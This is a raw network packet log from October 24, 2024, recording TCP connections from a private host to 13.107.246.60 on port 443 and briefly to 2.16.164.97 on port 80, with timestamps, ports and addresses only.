Oct 24, 2024 16:05:27.267306089 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.307085991 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.307233095 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.307287931 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.307480097 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.307480097 CEST	49820	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.307498932 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.307507038 CEST	443	49820	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.309730053 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.309768915 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.310064077 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.310175896 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.310193062 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.336508036 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.339768887 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.339778900 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.342896938 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.342900991 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.399501085 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.399665117 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.399979115 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.400058031 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.400058031 CEST	49821	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.400095940 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.400121927 CEST	443	49821	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.403630018 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.403664112 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.403860092 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.406892061 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.406908035 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.468465090 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.468637943 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.468842030 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.468954086 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.468966961 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.468997002 CEST	49822	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.469002962 CEST	443	49822	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.472845078 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.472882986 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:27.473135948 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.473293066 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:27.473313093 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.080251932 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.083820105 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.083848000 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.086385965 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.086390972 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.215639114 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.215825081 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.216202021 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.216243029 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.216262102 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.216368914 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.216595888 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.216595888 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.216624022 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.216778040 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.216783047 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.217046022 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.217046022 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.217053890 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.217072010 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.217081070 CEST	49824	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.217086077 CEST	443	49824	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.219420910 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.219463110 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.219595909 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.222897053 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.222913980 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.229314089 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.229706049 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.229765892 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.230159044 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.230175018 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.346460104 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.346622944 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.346682072 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.352965117 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.352977991 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.352979898 CEST	49826	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.352986097 CEST	443	49826	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.357333899 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.357378960 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.357450962 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.357605934 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.357616901 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.360802889 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.361037970 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.361102104 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.361190081 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.361226082 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.361253023 CEST	49823	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.361268044 CEST	443	49823	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.363303900 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.363385916 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.363477945 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.363589048 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.363611937 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.385620117 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.385776997 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.385864019 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.385864019 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.385972977 CEST	49825	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.385993004 CEST	443	49825	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.387970924 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.387988091 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.388057947 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.388164043 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.388176918 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.417241096 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.417629004 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.417642117 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.418103933 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.418108940 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.575227022 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.575901031 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.576010942 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.576010942 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.576061964 CEST	49827	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.576081038 CEST	443	49827	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.579025030 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.579083920 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.579164982 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.579588890 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.579612017 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.980581045 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.981693983 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.981782913 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:28.983040094 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:28.983056068 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.098007917 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.098892927 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.098926067 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.100122929 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.100130081 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.114181042 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.114347935 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.114422083 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.114716053 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.114759922 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.114792109 CEST	49828	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.114808083 CEST	443	49828	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.120244026 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.120280981 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.120342970 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.120475054 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.120486975 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.124821901 CEST	49729	80	192.168.2.4	2.16.164.97
Oct 24, 2024 16:05:29.130781889 CEST	80	49729	2.16.164.97	192.168.2.4
Oct 24, 2024 16:05:29.130850077 CEST	49729	80	192.168.2.4	2.16.164.97
Oct 24, 2024 16:05:29.132133007 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.132946968 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.132973909 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.133810043 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.133821964 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.231005907 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.231153965 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.231209040 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.231760979 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.231790066 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.231791019 CEST	49829	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.231801033 CEST	443	49829	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.238586903 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.238676071 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.238751888 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.239187002 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.239223957 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.263914108 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.264081001 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.264157057 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.264375925 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.264375925 CEST	49830	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.264420986 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.264450073 CEST	443	49830	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.272114992 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.272182941 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.272260904 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.272725105 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.272756100 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.330056906 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.330725908 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.330746889 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.331938982 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.331945896 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.353789091 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.354711056 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.354763031 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.355194092 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.355210066 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.460438013 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.460524082 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.460591078 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.460992098 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.461019039 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.461035013 CEST	49831	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.461044073 CEST	443	49831	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.465042114 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.465082884 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.466154099 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.466505051 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.466516972 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.493524075 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.493680000 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.493758917 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.494015932 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.494067907 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.494113922 CEST	49832	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.494142056 CEST	443	49832	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.497772932 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.497814894 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.498034000 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.498277903 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.498296022 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.859131098 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.859673023 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.859735966 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.860084057 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.860095978 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.991512060 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.991799116 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.991909981 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.991951942 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.991967916 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.991977930 CEST	49833	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.991985083 CEST	443	49833	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.994847059 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.994899035 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.995043993 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.995158911 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.995176077 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.995448112 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.995794058 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.995825052 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:29.996356964 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:29.996368885 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.027081013 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.027467012 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:30.027482986 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.027956963 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:30.027961969 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.129719019 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.129929066 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.129998922 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:30.130177021 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:30.130223036 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.130260944 CEST	49834	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:30.130279064 CEST	443	49834	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.134329081 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:30.134426117 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.134521961 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:30.134761095 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:30.134783983 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.161569118 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.161724091 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.161792040 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:30.162224054 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:30.162277937 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.162314892 CEST	49835	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:30.162329912 CEST	443	49835	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.164628983 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:30.164685011 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.164812088 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:30.164932013 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:30.164952040 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.220788956 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.221163988 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:30.221203089 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.221556902 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:30.221564054 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.253216028 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.253640890 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:30.253698111 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:30.254031897 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:30.254045963 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.305681944 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.305845976 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.305911064 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.305965900 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.305989981 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.306005001 CEST	49836	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.306011915 CEST	443	49836	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.308675051 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.308752060 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.308923960 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.309061050 CEST	49842	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.309081078 CEST	443	49842	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.439004898 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.439522982 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.439593077 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.440947056 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.440948009 CEST	49837	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.440994978 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.441029072 CEST	443	49837	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.443341017 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.443422079 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.443492889 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.443644047 CEST	49843	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.443665028 CEST	443	49843	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.453516960 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.455120087 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.455780983 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.457421064 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.457473040 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.457674026 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.457710981 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.458035946 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.458050013 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.458101988 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.458113909 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.458396912 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.458441019 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.458839893 CEST	49840	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.458894014 CEST	443	49840	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.583432913 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.583754063 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.583822012 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.583894968 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.583895922 CEST	49841	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.583934069 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.583957911 CEST	443	49841	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.584101915 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.584259987 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.584311962 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.584389925 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.584389925 CEST	49839	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.584431887 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.584459066 CEST	443	49839	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.586668015 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.586713076 CEST	443	49844	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.586779118 CEST	49844	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.586850882 CEST	49845	443	192.168.2.4	13.107.246.60
Oct 24, 2024 16:05:31.586878061 CEST	443	49845	13.107.246.60	192.168.2.4
Oct 24, 2024 16:05:31.586976051 CEST	443	49840	13.107.246.60	192.168.2.4
